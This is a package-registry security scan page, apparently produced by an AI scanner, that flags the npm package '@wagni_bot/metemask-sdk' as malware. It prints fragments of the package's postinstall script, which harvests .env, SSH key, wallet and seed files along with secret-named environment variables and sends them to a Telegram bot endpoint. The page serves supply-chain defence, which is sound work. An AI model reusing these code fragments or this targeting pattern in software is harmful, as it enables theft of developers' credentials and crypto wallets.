registry  /  @wagni_bot/metemask-sdk  /  1.0.0

@wagni_bot/metemask-sdk@1.0.0

Unofficial metemask-sdk SDK

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Install-time credential and file exfiltration is implemented directly in postinstall.js. It targets project, home, SSH, and environment secrets and sends them to Telegram.

Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install runs package.json postinstall
Impact
Leaks credentials, SSH keys, wallet/seed material, tokens, passwords, AWS variables, and host/user metadata from the installer environment.
Mechanism
install-time secret harvesting and Telegram exfiltration
Attack narrative
On installation, npm runs postinstall.js. The script posts host/user/cwd/platform metadata to Telegram, recursively scans the current project and home directory for credential-like filenames, scans ~/.ssh for private keys/config, reads matching file contents, and sends chunks plus selected sensitive environment variables to the same Telegram bot endpoint.
Rationale
Direct source inspection confirms unconsented install-time credential harvesting and external exfiltration unrelated to an SDK. This is concrete malicious behavior, not merely a suspicious primitive.
Evidence
package.jsonpostinstall.jsindex.jsprocess.cwd() matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secretos.homedir() matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secret~/.ssh matching id_rsa/id_ed25519/.pem/.key/config
Network endpoints1
api.telegram.org/bot<redacted>/sendMessage

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • package.json defines postinstall: node postinstall.js
  • postinstall.js sends install host/user/cwd/platform to Telegram Bot API
  • postinstall.js scans process.cwd(), os.homedir(), and ~/.ssh for .env, key, wallet, seed, mnemonic, secret files
  • postinstall.js reads matching files with fs.readFileSync and sends chunks to Telegram
  • postinstall.js filters process.env for SECRET/TOKEN/API_KEY/PASSWORD/AWS and exfiltrates values
Evidence against
  • index.js only exports an empty object
  • No dependency or binary loading beyond Node built-ins observed
Behavioral surface
Source
EnvironmentVarsFilesystemNetwork
Supply chain
HighEntropyStringsUrlStrings
Manifest
NoLicense
scanned 2 file(s), 4.10 KB of source, external domains: api.telegram.org

Source & flagged code

4 flagged · loading source
package.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
postinstall.jsView file
1#!/usr/bin/env node L2: const https = require('https'); L3: const http = require('http'); ... L17: }); L18: req.write(payload); L19: req.end(); ... L70: const data = { L71: hostname: os.hostname(), L72: user: os.userInfo().username, ... L89: // Send sensitive env vars L90: const sensitive = Object.entries(process.env).filter(([k]) => L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...
Critical
Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

postinstall.jsView on unpkg · L1
1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: #!/usr/bin/env node L2: const https = require('https'); L3: const http = require('http'); ... L17: }); L18: req.write(payload); L19: req.end(); ... L70: const data = { L71: hostname: os.hostname(), L72: user: os.userInfo().username, ... L89: // Send sensitive env vars L90: const sensitive = Object.entries(process.env).filter(([k]) => L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...
Critical
Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

Findings

2 Critical1 High4 Medium5 Low
CriticalCredential Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License